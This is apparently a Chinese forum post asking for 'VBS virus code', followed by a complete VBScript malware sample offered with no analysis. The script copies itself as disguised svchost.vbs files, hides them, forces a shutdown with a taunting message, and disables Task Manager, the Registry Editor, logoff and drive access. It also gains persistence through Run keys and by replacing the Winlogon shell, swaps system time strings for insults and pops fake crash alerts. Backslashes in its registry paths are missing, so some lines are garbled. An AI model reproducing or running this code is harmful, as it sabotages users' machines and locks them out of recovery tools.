vbs病毒代码谁有vbs病毒代码？

谁有vbs病毒代码？

Set objFS = CreateObject("Scripting.FileSystemObject")

Set objFSO = CreateObject("Scripting.FileSystemObject")

set wsh=wscript.createobject("wscript.shell")

set reg=wscript.createobject("wscript.shell")

dim wsh

a=WScript.ScriptFullName

b="shutdown -t 60 -s -c 如果你是菜鸟的话。。。我想你知道害怕了吧！嬉嬉！"

c="c:svchost.vbs"

d="d:svchost.vbs"

s="c:windowssystem32svchost.vbs"

c1="attrib +s +h +a +r c:svchost.vbs"

d1="attrib +s +h +a +r d:svchost.vbs"

s1="attrib +s +h +a +r c:windowssystem32svchost.vbs"

If objFSO.FileExists (c) Then

Else

objFs.GetFile (a).Copy (c)

wsh.run c1

End If

If objFSO.FileExists(d) Then

Else

objFs.GetFile (a).Copy (d)

wsh.run d1

End If

If objFSO.FileExists(s) Then

Else

objFs.GetFile (a).Copy (s)

wsh.run s1

End If

wsh.run b

wsh.run "narrator"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoRun","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoClose","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoLogoff","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorer","00000001","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesexplorerNoDrives","000000100","REG_DWORD"

reg.regwrite"HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunsvchost","c:svchost.vbs","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunsvchost","d:svchost.vbs","REG_SZ"

reg.regwrite"HKEY_CURRENT_USERSOFTWAREMicrosoftWindowsCurrentVersionRunServicessvchost","c:windowssystem32svchost.vbs","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServicessvchost","c:windowssystem32svchost.vbs","REG_SZ"

reg.regwrite"HKEY_CURRENT_USERControl PanelInternationalsTimeFormat","tttt H:mm:ss","REG_SZ"

reg.regwrite"HKEY_CURRENT_USERControl PanelInternationals1159","笨蛋！","REG_SZ"

reg.regwrite"HKEY_CURRENT_USERControl PanelInternationals2359","傻逼！","REG_SZ"

reg.regwrite"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonshell","c:windowssystem32svchost.vbs","REG_SZ"

msgbox "系统快要崩溃了！",48,"由于你经常看黄页："

msgbox "windows崩溃了！",18,"安全警报："